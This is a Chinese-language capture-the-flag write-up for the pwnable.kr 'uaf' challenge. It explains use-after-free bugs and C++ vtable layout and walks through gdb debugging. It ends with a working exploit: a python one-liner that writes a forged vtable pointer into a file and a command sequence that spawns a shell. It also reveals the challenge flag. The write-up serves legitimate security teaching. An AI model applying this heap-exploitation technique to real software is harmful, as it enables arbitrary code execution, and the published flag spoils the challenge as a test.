Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 (pw:guest)
根据提示已经可以知道这里需要我们利用漏洞Use-After-Free(UAF)。
该漏洞的简单原理为:
- 产生迷途指针(Dangling pointer)——已分配的内存释放之后,其指针并没有因为内存释放而置为NULL,而是继续指向已释放内存。
- 这块被释放的内存空间中被写入了新的内容。
- 通过迷途指针进行操作时,会错误地按照释放前的偏移逻辑去访问新内容。
关于UAF的详细介绍可参见 https://en.wikipedia.org/wiki/Dangling_pointer
先看源码再来分析思路:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
看到这里大致的思路已经有了。
程序给我们提供了三个选择,调用对象的虚函数、分配自定义的堆空间并写入自定义的内容、释放对象在堆中的内存空间。
这里我们需要按照312的方式执行程序:
- 释放指针m, w指向的的内存空间,同时m, w没有被置为NULL
- 构造一个文件,文件中含有要去m或w指定的空间中写入的内容
- 调用虚函数,到这里程序的执行流程已经被劫持。
所以这里的重点就是如何构造要写入的内容。
在解决这个问题之前,需要先知道虚函数的调用机制。因为题目的需要,先不讨论虚继承和多重继承的情况:
在C++中,每一个含有虚函数的类都会有一个虚函数表,简称虚表。与之对应的,每一个对象都会有其专属的虚表指针指向这个虚表。
(值得一提的是,在一个继承树中,没有被覆写的虚函数虽然在被保存在不同的虚表中,但其地址是一致的。覆写后子类的虚表保存了覆写后的虚函数地址。
如果是多重继承,那么根据基类的个数会有多个虚表对应这个类;
如果是虚继承,那么子类会有两份虚指针,一份指向自己的虚表,另一份指向虚基表,多重继承时虚基表与虚基表指针有且只有一份。
虚函数是按照在虚表中的偏移进行调用的,同时虚表通过虚表指针和对象进行关联,接下来我们再了解一下对象在内存中的保存结构:
对象在内存开辟空间后,按照虚表指针、继承自基类的成员、类自身的成员的顺序进行存储。(如果是多重继承和虚继承,可能存在多个虚表指针)
关于类和虚表的内存分布可以参考 http://www.cnblogs.com/jerry19880126/p/3616999.html
注:仅做参考,关于其中所述的“虚指针继承”等内容有待商榷。
理清上述的概念之后,我们在这里就可以使用UAF,计算目标函数在虚表中的偏移,“重写”虚表指针中保存的虚表地址,控制虚函数调用流程前往目标函数处。
另外,这里还应该知道的是,C++类的对象创建含有这6个函数调用过程:
--> std::allocator< char >::allocator(void)
--> std::allocator< char >>::basic_string()
--> operator new(ulong)
--> Class Conductor
--> std::allocator< char >>::~basic_string()
--> std::allocator< char >::~allocator(void)
为了方便观察,在本地编译uaf.cpp后用IDA查看,可以更直观地看到这一调用机制:
完成了以上的准备工作后,直接在Host上用gdb调试程序(惭愧,眼拙的我到今天才看到 - to use peda, issue 'source /usr/share/peda/peda.py' in gdb terminal
,原来Host主机上也可以使用peda....)
往后单步调试,可以看到调用 new(ulong) 开辟空间时参数为0x18,说明这里Man的对象大小为24字节。
在man类构造函数调用完成后,查看寄存器和栈的情况:
如图所示,此时rbx中存放着对象m的首地址0x18bbc50,这里可以看到peda已经为我们提出了对象m前8个字节保存的内容(略去了0x00),即为虚表指针指向的虚函数表地址,该虚表中保存第一个函数地址即为目标函数give_shell。
这里我们通过 x 命令观察对象m所开辟的内存空间的情况:
可以清晰地看到,Man类对象在内存中按8字节对齐,依次保存了虚表指针(指向类Man的虚函数表0x401570),继承自基类的成员age( 0x19 = 25),继承自积累的成员name(字符串地址为0x18bbc38,前往该地址查看内容即为“Jack”)。
前往0x401570处看到Man的虚函数表并进一步跟进:
得到目标函数give_shell的指令起始地址为0x40117a(相对虚表首地址编译为0),introduce函数的指令起始地址为0x4012d2(相对虚表首地址偏移为8)。
根据思路,我们只要利用UAF改写对象内存空间中虚表指针指向的地址 = 虚函数表首地址 - 8,即可将give_shell“当做”introduce来执行。
另外,由于执行内存释放先施放了m,而后才释放了w,所以我们在开辟小于等于24字节的空间时,系统优先考虑的是使用原先w指针指向的对象占用的空间。
而又因为introduce函数分别由m,w指向的对象来调用,所以内存释放后先调用的是m指向的introduce函数,为了避免报错,m指向的内存空间也应该被覆写。
同样地,我们利用相同的方法找到w指向的堆空间首地址以及类Woman的虚函数表首地址:
利用python在tmp下创建文本并写入内容为 0x0000000000401550 - 0x08 = 0x0000000000401548,注意小端序;构造参数一小于等于24,参数二为该文本的路径,得到shell:
uaf@ubuntu:~$ python -c 'print "\x48\x15\x40\x00\x00\x00\x00\x00"' > /tmp/uafUm
uaf@ubuntu:~$ ./uaf 20 /tmp/uafUm
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
题外话,
这段时间面临了很多选择和困惑,
也因为自己的不强大导致了在将要做出选择时变得犹犹豫豫甚至畏手畏脚;
无论前路如何,勿忘初心,相信自己,善待自己。
最大的心愿还是世界和平,希望可以爱人和被爱。